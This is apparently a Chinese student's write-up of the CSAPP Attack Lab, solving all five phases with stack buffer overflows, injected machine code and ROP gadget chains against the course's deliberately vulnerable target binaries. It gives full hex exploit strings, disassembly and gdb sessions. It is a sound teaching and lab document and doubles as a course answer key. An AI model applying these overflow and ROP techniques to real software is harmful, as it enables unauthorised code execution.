(CSAPP) – 攻击实验

Attacklab

实验包的下载不再多说,这个实验分为两个部分代码注入和 ROP 攻击。

第一部分

  • Phase 1:根据文档的说明,test 会调用 getbuf 开辟一个在栈上的缓冲区,我们要做的使用通过向 getbuf 的返回地址写入 touch1 的地址以达到调用 touch1 的目的,使用 objdump -d 可以获得 file 的代码偏移量。
void test() {
    int val;
    val = getbuf();
    printf("NO explit. Getbuf returned 0x%x\n", val);
}

得到 getbuf 的反汇编的源码:

00000000004017a8 <getbuf>:
  4017a8:    48 83 ec 28              sub    $0x28,%rsp
  4017ac:    48 89 e7                 mov    %rsp,%rdi
  4017af:    e8 8c 02 00 00           callq  401a40 <Gets>
  4017b4:    b8 01 00 00 00           mov    $0x1,%eax
  4017b9:    48 83 c4 28              add    $0x28,%rsp

...

00000000004017c0 <touch1>:
  4017c0:    48 83 ec 08              sub    $0x8,%rsp
  4017c4:    c7 05 0e 2d 20 00 01     movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>
  4017cb:    00 00 00 
  4017ce:    bf c5 30 40 00           mov    $0x4030c5,%edi
  4017d3:    e8 e8 f4 ff ff           callq  400cc0 <puts@plt>
  4017d8:    bf 01 00 00 00           mov    $0x1,%edi
  4017dd:    e8 ab 04 00 00           callq  401c8d <validate>
  4017e2:    bf 00 00 00 00           mov    $0x0,%edi
  4017e7:    e8 54 f6 ff ff           callq  400e40 <exit@plt>
...
00000000004017ec <touch2>:
  4017ec:    48 83 ec 08              sub    $0x8,%rsp
  4017f0:    89 fa                    mov    %edi,%edx

可见这个函数开辟了 0x28(40) 字节的空间。

rsp + 0x28 起始的位置就是我们通过溢出写入的 touch1 的返回地址(可知是 0x4017c0),我们可以构造字符串:

rsp + 0x0  00 00 00 00 00 00 00 00 00 00
rsp + 0xa  00 00 00 00 00 00 00 00 00 00
rsp + 0x14 00 00 00 00 00 00 00 00 00 00 
rsp + 0x1e 00 00 00 00 00 00 00 00 00 00
rsp + 0x28 c0 17 40 00

注意在 Linux 64位的情况下指针是 64位,同时注意字节的顺序,根据反汇编的得到的代码可知机器是小端序。低位在低地址。

使用 cat ./p1.txt | ./hex2raw | ./ctarget -q 在本地运行测试程序,可得到结果:

  • Phase 2:
void touch2(unsigned val)
{
    vlevel = 2; / * Part of validation protocol * /
    if (val == cookie) {
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}

在这个阶段,我们需要传递参数给 touch2 一个参数(第一个参数的寄存器是 rdi),我们只需要直接把类似于 cookie 的指针 mov 到 rdi 即可。那怎么通过某种机制执行呢?首先我们可以构造一段自己的代码并注入进去。

movq $0x59b997fa, %rdi
pushq $0x4017ec //touch2 的地址
ret // pop %rip,更新程序计数

通过这个段代码,我们可以把 cookie 的地址(程序已经给出)送入 rdi,同时执行 touch2 函数正确地比较。把汇编代码编译成可重定位地代码:gcc -c p2.s -o p2.o 已经反汇编得到机器码:objdump -d p2.o。输出如下:

p2.o:     文件格式 elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
   7:   68 ec 17 40 00          pushq  $0x4017ec
        c3

依次构建字符串:

48 c7 c7 fa 97 b9 59 68 ec 17
40 00 c3 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00       // 一定注意是64位

  • Phase 3:这次的 touch3 需要传递一个字符串参数同时字符串地比较在 hexmatch 函数中:
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
    char cbuf[110];
    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval)
{
    vlevel = 3; /* Part of validation protocol */
    if (hexmatch(cookie, sval)) {
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}

这就引入了一些问题:1)cookie 需要通过字符串进行传递而不是指针。2)调用 hexmatch 会破坏构造好的输入地字符串。所以针对地方法:

  1. cookie 的地址是 0x59b997fa,转换成字符串的表示(每十六进制数码的 ASCII 值)35 39 62 39 39 37 66 61 00。35 存在的位置存放字符串的最低位的字符。不要忘记 NULL 字符用于节尾。
  2. 确定哪一个位置不会被覆盖,看到 hexmatch 的反汇编代码:
000000000040184c <hexmatch>:
  40184c:    41 54                    push   %r12
  40184e:    55                       push   %rbp
  40184f:    53                       push   %rbx
  401850:    48 83 c4 80              add    $0xffffffffffffff80,%rsp
  401854:    41 89 fc                 mov    %edi,%r12d
...
<__stack_chk_fail@plt>
  4018f1:    48 83 ec 80              sub    $0xffffffffffffff80,%rsp

  4018f9:    c3                       retq   

hexmatch 的调用并不修改 rsp + 0x28 以上的内容。所以字符串起始位置可以是:rsp + 0x28 + 0x8(覆盖缓存地址)。这个时候需要用 gdb 获取 rsp 的地址(运行的时候使用 Phase2 的结果就可以)

(gdb) break getbuf
Breakpoint 1, getbuf () at buf.c:12
12    in buf.c
(gdb) disas
Dump of assembler code for function getbuf:
=> 0x00000000004017a8 <+0>:    sub    $0x28,%rsp
   0x00000000004017ac <+4>:    mov    %rsp,%rdi
   0x00000000004017af <+7>:    callq  0x401a40 <Gets>
   0x00000000004017b4 <+12>:    mov    $0x1,%eax
   0x00000000004017b9 <+17>:    add    $0x28,%rsp
   0x00000000004017bd <+21>:    retq   
End of assembler dump.
(gdb) si
14    in buf.c
(gdb) disas
Dump of assembler code for function getbuf:
   0x00000000004017a8 <+0>:    sub    $0x28,%rsp
=> 0x00000000004017ac <+4>:    mov    %rsp,%rdi
   0x00000000004017af <+7>:    callq  0x401a40 <Gets>
   0x00000000004017b4 <+12>:    mov    $0x1,%eax
   0x00000000004017b9 <+17>:    add    $0x28,%rsp
   0x00000000004017bd <+21>:    retq   
End of assembler dump.
(gdb) info regesters
Undefined info command: "regesters".  Try "help info".
(gdb) info regs
Undefined info command: "regs".  Try "help info".
(gdb) info registers
rax            0x0    0
rbx            0x55586000    1431855104
rcx            0x0    0
rdx            0x7ffff7dd18a0    140737351850144
rsi            0xc    12
rdi            0x606260    6316640
rbp            0x55685fe8    0x55685fe8
rsp            0x5561dc78    0x5561dc78
r8             0x7ffff7fdf500    140737354003712
r9             0x0    0
r10            0x4032b4    4207284
r11            0x7ffff7b74720    140737349371680
r12            0x2    2
r13            0x0    0
r14            0x0    0
r15            0x0    0
rip            0x4017ac    0x4017ac <getbuf+4>
eflags         0x216    [ PF AF IF ]
cs             0x33    51
ss             0x2b    43
ds             0x0    0
es             0x0    0
fs             0x0    0
gs             0x0    0
(gdb) 

由此可以指 rsp 的地址是 0x5561dc78, 存入字符串的地址就是 0x5561dca8。构造字符串转换为机器码:

movq $0x5561dca8, %rdi
pushq $0x4018fa
ret
// 机器码:
Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 a8 dc 61 55    mov    $0x5561dca8,%rdi // 存入 cookie 的地址
   7:   68 fa 18 40 00          pushq  $0x4018fa // touch3 的地址
   c:   c3                      retq

从 rsp + 0x28 + 0x8 的地址就按照顺序贴入 cookie 转换为 ASCII 码的值。这就可以构造字符串:

48 c7 c7 a8 dc 61 55 68 fa 18
40 00 c3 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 35 39
62 39 39 37 66 61 00

结果:

第二部分:

第二部分引入了:

  • NX(不执行位),栈的数据可以被标记为可读和科写但是不执行。
  • 使用地址空间随机化的计数(ASLR),每次运行程序的不同部分,包括程序代码、库代码、栈、全局变量和堆数据都会改变。

利用 ROP,只需要修改栈顶的返回地址并利用已经存在的机器指令组合成的针对性的机器语言指令序列(gadgets)就可以达到控制程序的流程。例如:

void setval_210(unsigned *p){
    *p = 3347663060U;
}
// 得到的机器代码:
0000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq

实验文档给出了汇编的机器指令说明:

  • nop。注意普通的 nop 编码位 0x90:
  • movl(传送双字)。
  • movq。
  • popq。

由此可知:c7 07 d4 48 89 c7 c3。加粗的部分可以认为是 movq %rax, %rdi。构造 gadgets 的流程:

现在开始实验:

  • Phase 4:
要求 Hint
只使用 %rax-%rdi 寄存器,已经指令:movqpopqretnop。 调用 touch2 函数 只有两个 gadgets。使用的机器码介于 start_farmmid_farm。When a gadget uses a popq instruction, it will pop data from the stack. As a result, your exploit string will contain a combination of gadget addresses and data.(我个人理解一次 gadget 可以把栈顶的数据弹出到 %rax 中。)

大概的步骤:

  1. cookie 存入 %rdi
  2. touch2 的地址压入栈中
  3. ret 执行

1)首先希望找到 popq %rdi 也就是 5f,然而并没有。所以可以借助 %rax 作为中转。使用 popq %raxmovq %rax, %rdi。也就是 58 48 89 c7。有几个候选:

00000000004019a7 <addval_219>:
  4019a7:    8d 87 51 73 58 90        lea    -0x6fa78caf(%rdi),%eax
  4019ad:    c3                       retq   

00000000004019ae <setval_237>:
  4019ae:    c7 07 48 89 c7 c7        movl   $0xc7c78948,(%rdi)
  4019b4:    c3                       retq   

00000000004019b5 <setval_424>:
  4019b5:    c7 07 54 c2 58 92        movl   $0x9258c254,(%rdi)
  4019bb:    c3                       retq   

00000000004019bc <setval_470>:
  4019bc:    c7 07 63 48 8d c7        movl   $0xc78d4863,(%rdi)
  4019c2:    c3                       retq   

00000000004019c3 <setval_426>:
  4019c3:    c7 07 48 89 c7 90        movl   $0x90c78948,(%rdi)
  4019c9:    c3                       retq   

00000000004019ca <getval_280>:
  4019ca:    b8 29 58 90 c3           mov    $0xc3905829,%eax
  4019cf:    c3                       retq   
// 48 89 c7 c3 的候选:
00000000004019a0 <addval_273>:
  4019a0:    8d 87 48 89 c7 c3        lea    -0x3c3876b8(%rdi),%eax
  4019a6:    c3                       retq   

00000000004019ae <setval_237>:
  4019ae:    c7 07 48 89 c7 c7        movl   $0xc7c78948,(%rdi)
  4019b4:    c3                       retq   

00000000004019c3 <setval_426>:
  4019c3:    c7 07 48 89 c7 90        movl   $0x90c78948,(%rdi)
  4019c9:    c3                       retq  

可以看出利用 addval_219 中自带的 58 ,然后跳转到含有 48 89 c7 以及 c3。同理,可以选择 addval_273

由此可以得出我们的 gadgets:

gadget1 : 0x4019a7(addval_219) + 0x4 = 0x4019ab(后面的 0x90 是 nop,可以忽略)

gadget2 : 0x4019a0 + 0x3 = 0x4019a3。

我们已经知道 touch2 的地址:0x4017ec。我们需要查看 getbuf 分配的栈帧大小。

00000000004017a8 <getbuf>:
  4017a8:    48 83 ec 28              sub    $0x28,%rsp

还是分配了 0x28(40)字节的空间。我们不能预先知道返回的地址是多少是多少,但是可以利用 gadgets 达到在 %rsp 中执行。栈帧的结构是不会变化的。

%rsp 需要输入以下的内容:

%rsp + 0x28 字节的填充物 + gadget1 的地址(控制流程) + cookie 的地址(0x59b997fa, popq %rax 时需要)+ gadget2 的地址 + touch2 的地址(0x4017ec)也就是(注意64位):

00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00 fa 97
b9 59 00 00 00 00 a3 19 40 00
00 00 00 00 ec 17 40 00 00 00
00 00

运行结果:

  • Phase 5:
要求 Hint
调用touch3 函数 标准答案有 8 个 gadgets。使用的机器码介于 start_farmend_farm

注意 Phase5 没有说会把字符串传送到 %eaxcookie 字符串的起始地址的 ASCII 保存在最后一个 gadget 的后面。我们需要把 cookie 的 ASCII 形式传送到 %rdi,也就是需要指令 movq %rsp(rsp 已经被修改了), %rdi,也就是机器码:48 89 e7。但是并没有。所以这样子是不行的,我参考了别人的思路:

1.拿到 %rsp 存着的地址

2.(然后把这个地址) + (cookie 在 stack 偏移量) pop 到某个寄存器中

3.然后把这个寄存器的值放到 %rdi

4.然后调用 touch3

5.cookie 要放到 stack 最后面

6.字符串最后加上 \0 也就是 00000000 来标志结束

1)首先取出 %rsp,传送到 %rdi,和 Phase4 一样,没有直接传送的指令,所以需要借助 %rax

movq %rsp, %rax : 48 89 e0
0000000000401aab <setval_350>:
  401aab:    c7 07 48 89 e0 90        movl   $0x90e08948,(%rdi)
  401ab1:    c3      

0x90nop,这个我们不管。

2)找 movq %rax, %rdi 的机器码:48 89 c7

00000000004019a0 <addval_273>:
  4019a0:    8d 87 48 89 c7 c3        lea    -0x3c3876b8(%rdi),%eax
  4019a6:    c3                       retq

3)在上一次 gadget 调用之后,%rsp 的内容被弹出到 %rax 做为返回值。所以我们需要算出 %rsp + offset 正好是字符串的起始地址,这个 offset 要看后面有多少的语句,所以暂且留下,所以这个 offset 应该是前两个 gadgets 栈帧结束后填充的内容。

4)需要把 offset pop 到 %rax 中,pop %rax 上午机器码: 58

00000000004019a7 <addval_219>:
  4019a7:    8d 87 51 73 58 90        lea    -0x6fa78caf(%rdi),%eax
  4019ad:    c3                       retq  

5)计算偏移需要两个寄存器,已知 rdi 已经被钦定为比例变址寻址的基址寄存器,所以要找一个变址寄存器。考虑 movq %rax, <某个寄存器>,也就是以 48 89 xx,但是反汇编中只有 48 89 c7 c7 以及 48 89 e0 等,是不能作为 gadget 的。所以考虑 movl,但是注意 movl 会把目的寄存器(双字)的高 4字节设置为 0。需要一个 movl %eax(保存的 offset), <某个寄存器>89 cx(c7 不行,因为目标 %edi),在这里钦定:

00000000004019db <getval_481>:
  4019db:    b8 5c 89 c2 90           mov    $0x90c2895c,%eax
  4019e0:    c3                       retq 

目标的寄存器是:%edx

6)需要找到 lea 计算偏移,找到了可用 lea(使用了寄存器,目标是 %eax,这样让 %rdi 指向它)

00000000004019d6 <add_xy>:
  4019d6:    48 8d 04 37              lea    (%rdi,%rsi,1),%rax
  4019da:    c3                       retq 

所以在此之前,需要把 edx 的数据移到 %esi。按照之前的找法,89 dx,只有一个 那就是 d1 可以匹配,所以中转的是 %ecx

0000000000401a33 <getval_159>:
  401a33:    b8 89 d1 38 c9           mov    $0xc938d189,%eax
  401a38:    c3                       retq  

由于 38 c9Encodings of 2-byte functional nop instructions,所以可以不用管。

还有就是 movl %ecx, %esi 的机器码:89 ce

0000000000401a11 <addval_436>:
  401a11:    8d 87 89 ce 90 90        lea    -0x6f6f3177(%rdi),%eax
  401a17:    c3                       retq   

lea 直接使用现成的。

7)%rax 指向 touch3 的第一个参数存放的寄存器 %rdi

movq %rax, %rdi:48 89 c7
00000000004019a0 <addval_273>:
  4019a0:    8d 87 48 89 c7 c3        lea    -0x3c3876b8(%rdi),%eax
  4019a6:    c3                       retq  

8)接着存放 touch3 地址

9)存放 cookie 起始的 ASCII

10) 计算 offset

综合 1~9 的结果:

栈顶:

地址 意义或内容
0x28 字节的填充 %rsp + 0x0 ~ %rsp + 0x28 填充
gadget1 0x401aab + 0x2 = 0x401aad` movq %rsp, %rax
gadget2 0x4019a0 + 0x2 = 0x4019a2 movq %rax, %rdi
gadget3 0x4019a7 + 0x4 = 0x4019ab popq %rax
offset gadget3 上方 偏移,由于地址随机只能通过 %rsp + offset 计算 cookie 的起始位置
gadget4 0x4019db + 0x2 = 0x4019dd movl %eax, %edx
gadget5 0x401a33 + 0x1 = 0x401a34 movl %edx, %ecx
gadget6 0x401a11 + 0x2 = 0x401a13 movl %ecx, %esi
gadget7 0x4019d6 lea (%rdi, %rsi, 1), %rax
gadget8 0x4019a0 + 0x2 = 0x4019a2 movq %rax, %rdi
touch3 地址 0x4018fa 调用 touch3 函数
cookie touch3 上方 起始位置地址的 ASCII:35 39 62 39 39 37 66 61 00

栈底

cookie 的起始位置是栈顶 + 10 指令的位置,注意在执行的时候 0x28 个字符串已经被读入并且执行了 retq 转移到了 gadget1,所以当第一个 gadget 调用的时候,cookie 相比之前“更近”了一条和指令。也就是 +9。所以偏移量 offset = 9 * 8 = 72 = 0x48 字节。

构造字符串:

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
ad 1a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
ab 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
34 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61 00

运行结果:

总结

  • 这次复习了一下 CSAPP 的第三章,注意到了函数调用与栈之间的关系
  • 小端表示以及字符串在内存的方式与看上去的不同!

引用&参考